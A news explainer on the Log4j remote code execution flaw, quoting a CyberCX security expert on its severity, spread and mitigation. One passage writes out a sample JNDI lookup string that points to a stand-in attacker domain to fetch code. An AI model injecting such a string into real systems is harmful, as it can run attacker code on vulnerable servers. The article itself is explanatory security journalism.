A new software vulnerability in a tool called Log4j has set the internet on fire as experts try to assess the impact and shore up their systems. Dylan Reeve explains the finer details for IRL. 

The latest security issue to sweep the internet has a perfect 10 out of 10 score for badness. That is, the newly discovered vulnerability in Log4j is considered as bad as it gets and may see many cybersecurity experts cancelling Christmas. 

“In the 15 or so years that I’ve been working in cybersecurity, this is probably the worst vulnerability I’ve seen,” said Adam Boileau, executive director of security testing and assurance at cyber security company CyberCX. “It’s one of the most interesting technically. The impact is not yet at the scale of NotPetya or Wannacry … but it will probably exceed them.”

We are constantly surrounded by technology, and it’s all at risk of security flaws. As these flaws are identified, they’re assessed with a Common Vulnerability Scoring System (CVSS) score from 0.1 (Pfft, whatever) to 10 (OMG! Everything is on fire!!).

Security issues with a CVSS score of 10 aren’t that unusual, but they usually pop up in somewhat obscure pieces of software where the impact is limited. They’re also often fixed before anyone even realises they exist. 

But the new Log4j vulnerability is different. Firstly it is a “0-day” vulnerability, meaning the software’s makers have had zero days to fix it: the world found out about it at the same time the developers did. Secondly, it’s very widespread. In fact, it’s so widespread that no one really even knows how many products and services are affected. 

It is basically a worst case scenario: a very dangerous vulnerability, spread widely and being actively exploited right away.

In cybersecurity nerd speak, the Log4j bug is a remote code execution vulnerability. In short, this means someone (an attacker) can exploit a bug in the software to cause a program of their own design to run on a remote computer system or device. Once you can run your code on someone else’s computer, you can do pretty much anything you want.

But taking it back a couple of steps, it’s useful to understand why Log4j, a software tool almost no one had heard of a week ago, is suddenly so critical.

Log4j is a software library — essentially a pre-made piece of computer code that can be incorporated into software by programmers to help them add functionality without having to reinvent the wheel. In this case it’s a library for logging, which is a very important aspect of programming. Log4j is a logging library for the Java programming language — Log4j = “logging for Java”, see? — that has been used by almost all Java programmers for years. Logging allows a programmer to have their software generate a “log file” which contains important information about, for example, what user logged in, and when; what files were sent and received; what errors were encountered. 

All these logs are necessary to help users keep track of what the software is doing, and they also help developers figure out problems that have occurred with the software when it’s being used. 

The bug in Log4j comes thanks to a feature in the library that allows it to parse special instructions in the log messages. One of these special instructions can be used to tell the library to contact an external server in order to get additional information. It’s a fairly niche feature that most of the programmers using Log4j would never have even known about, but it meant that, in theory, anyone could potentially force this logging library, embedded deep inside countless programs, to reach out to the internet and get a piece of data.

Anytime Log4j is told to log a specially formatted piece of text —“${jndi:ldap://dangerous.zyx/code}”, for example — it parses that as an instruction to contact a remote server in order to receive a piece of information. It will reach out to the server, dangerous.zyx in this case, and ask it for /code. It will then process whatever response it gets. If you, as an attacker, control the domain name dangerous.zyx then you can send back instructions that will be carried out by whatever computer the message was logged on. 

Because software tends to do a lot of logging, something as simple as a carefully constructed username may be enough to trigger exploitation, or even just typing the special instruction in chat. If you can access a server or piece of software at all, there’s a good chance you can get it to log some piece of information you provide.

The other complication with this vulnerability is just how widely used Java is, and thus how widespread Log4j is. Java is very common in complex business applications, servers and even the software that runs inside hardware devices like modems, kitchen appliances and printers. Even software that isn’t written in Java may rely on services or components that are. There are examples of this vulnerability being present in countless places including Facebook, Apple’s iCloud, Minecraft and even devices like smart watches, cars and connected appliances.

Even systems that don’t include any Java themselves may still present a vulnerability to this bug. “In many situations, messages from one part of a business system are passed on to other systems,” explained CyberCX’s Boileau. “We’ve seen cases where a front end system wasn’t vulnerable, but it reported data into an internal database, which also wasn’t vulnerable, but then that data was later displayed in a desktop application that was vulnerable.” 

Every piece of software or hardware will have its own specific risks, and the process for determining risk can be complicated and time consuming. Various simple tests have been created, but the results won’t always be definitive and often further investigation or fixes will be necessary before any given system or device can be given a clean bill of health.

The big names, like Facebook, Google, IBM, Microsoft and Apple, acted within hours to mitigate potential harms within their core services. But for thousands of other software applications, the fixes may be a long time coming, and for millions of vulnerable hardware devices it’s possible a fix will never come. 

While this bug poses huge risks to corporate and enterprise customers, the risk to home users is probably more limited, according to Boileau. “Java hasn’t been popular in home computing for a while,” he said. “Most people with a modern computer probably aren’t going to be using much Java. Minecraft is the most obvious exception.” That’s right gamers, your Minecraft is possibly at risk.

However, as always, the advice to frequently update software remains a key first step in staying secure.

Less than a week into this specific security issue, it’s still unclear what potential harms could be waiting or how widely the impact will ultimately be felt, but many experts seem to think things will get worse in the coming weeks. It’s also likely that this flaw will have a very long tail, with many programs and devices even remaining vulnerable until they’re eventually scrapped entirely one day.

According to Boileau, most large enterprises and government agencies in New Zealand are already in the process of assessing and mitigating their risk. For smaller businesses, without dedicated IT and cybersecurity teams, his advice is to pay attention to the evolving advice. “There will be specific advice coming out frequently over the next few weeks or months about what products are at risk of being attacked, and what should be done,” he said. “Smaller businesses should be watching those closely and doing what they can to take whatever steps are recommended.” 

“If you know you have a Java application that isn’t critical, just turn it off,” Boileau added.